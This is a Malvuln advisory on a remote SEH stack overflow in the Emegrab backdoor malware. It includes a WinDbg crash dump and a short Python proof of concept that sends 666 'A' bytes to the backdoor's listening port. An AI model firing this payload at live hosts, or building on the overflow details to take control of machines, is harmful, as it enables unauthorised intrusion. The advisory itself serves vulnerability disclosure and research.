Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/19a14d0414aec62ef38378de2e8b259d.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Backdoor.Win32.Emegrab.b Vulnerability: Remote Stack Buffer Overflow (SEH) Family: Emegrab Type: PE32 MD5: 19a14d0414aec62ef38378de2e8b259d Vuln ID: MVID-2024-0675 ASLR: False DEP: False CFG: False Safe SEH: False Disclosure: 03/13/2024 Description: The malware listens on TCP port 2323 (typically) however, have seen it use 4823. On subsequent restarts it has used 3012, 3182, 4735, 4578, 4133, 5347, 4978 then eventually reuses port 2323. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting ECX, EIP registers and Structured Exception Handler (SEH). Memory Dump: (14c0.b6c): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=775e9d70 esi=00000000 edi=00000000 eip=41414141 esp=260013e8 ebp=26001408 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:009> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=775e9d70 esi=00000000 edi=00000000 eip=41414141 esp=260013e8 ebp=26001408 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:009> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Emegrab.b.19a14d0414aec62ef38378de2e8b259d.e *** ERROR: Symbol file could not be found. Defaulted to export symbols for Backdoor.Win32.Emegrab.b.19a14d0414aec62ef38378de2e8b259d.e - FAULTING_IP: Backdoor_Win32_Emegrab_b_19a14d0414aec62ef38378de2e8b259d+fa2b 0040fa2b 888434a0000000 mov byte ptr [esp+esi+0A0h],al EXCEPTION_RECORD: 260f5de8 -- (.exr 0x260f5de8) ExceptionAddress: 0040fa2b (Backdoor_Win32_Emegrab_b_19a14d0414aec62ef38378de2e8b259d+0x0000fa2b) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 26100000 Attempt to write to address 26100000 PROCESS_NAME: Backdoor.Win32.Emegrab.b.19a14d0414aec62ef38378de2e8b259d.e ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_Emegrab_b_19a14d0414aec62ef38378de2e8b259d+fa2b 0040fa2b 888434a0000000 mov byte ptr [esp+esi+0A0h],al FAILED_INSTRUCTION_ADDRESS: +fa2b 41414141 ?? ??? NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 IP_IN_FREE_BLOCK: 41414141 CONTEXT: 260f5e38 -- (.cxr 0x260f5e38) eax=00000041 ebx=00000000 ecx=0be58a88 edx=260f61e0 esi=00009cc8 edi=00433f74 eip=0040fa2b esp=260f6298 ebp=260fff80 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 Backdoor_Win32_Emegrab_b_19a14d0414aec62ef38378de2e8b259d+0xfa2b: 0040fa2b 888434a0000000 mov byte ptr [esp+esi+0A0h],al ss:002b:26100000=?? Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 41414141 to 0040fa2b FRAME_ONE_INVALID: 1 STACK_TEXT: 260f6298 0040fa2b backdoor_win32_emegrab_b+0xfa2b 260fff88 41414141 unknown!printable+0x0 260fff8c 41414141 unknown!printable+0x0 260fff90 41414141 unknown!printable+0x0 260fff94 41414141 unknown!printable+0x0 260fff98 41414141 unknown!printable+0x0 260fff9c 41414141 unknown!printable+0x0 260fffa0 41414141 unknown!printable+0x0 260fffa4 41414141 unknown!printable+0x0 260fffa8 41414141 unknown!printable+0x0 260fffac 41414141 unknown!printable+0x0 260fffb0 41414141 unknown!printable+0x0 260fffb4 41414141 unknown!printable+0x0 260fffb8 41414141 unknown!printable+0x0 260fffbc 41414141 unknown!printable+0x0 260fffc0 41414141 unknown!printable+0x0 260fffc4 41414141 unknown!printable+0x0 260fffc8 41414141 unknown!printable+0x0 260fffcc 41414141 unknown!printable+0x0 260fffd0 41414141 unknown!printable+0x0 260fffd4 41414141 unknown!printable+0x0 260fffd8 41414141 unknown!printable+0x0 260fffdc 41414141 unknown!printable+0x0 260fffe0 41414141 unknown!printable+0x0 260fffe4 41414141 unknown!printable+0x0 260fffe8 41414141 unknown!printable+0x0 260fffec 41414141 unknown!printable+0x0 260ffff0 41414141 unknown!printable+0x0 260ffff4 41414141 unknown!printable+0x0 260ffff8 41414141 unknown!printable+0x0 260ffffc 41414141 unknown!printable+0x0 26100000 41414141 unknown!printable+0x0 STACK_COMMAND: .cxr 00000000260F5E38 ; kb ; dds 260f6298 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: backdoor_win32_emegrab_b+fa2b FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Emegrab_b_19a14d0414aec62ef38378de2e8b259d IMAGE_NAME: Backdoor.Win32.Emegrab.b.19a14d0414aec62ef38378de2e8b259d.e DEBUG_FLR_IMAGE_TIMESTAMP: 4a822c0e FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Emegrab.b.19a14d0414aec62ef38378de2e8b259d.e!Unknown BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_emegrab_b+fa2b 0:009> !exchain 260013fc: ntdll!ExecuteHandler2+44 (775e9d70) 260fffcc: 41414141 Invalid exception stack at 41414141 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=2323 s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*666 s.send(PAYLOAD.encode()) s.close() print("Backdoor.Win32.Emegrab BOF Exploit by Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).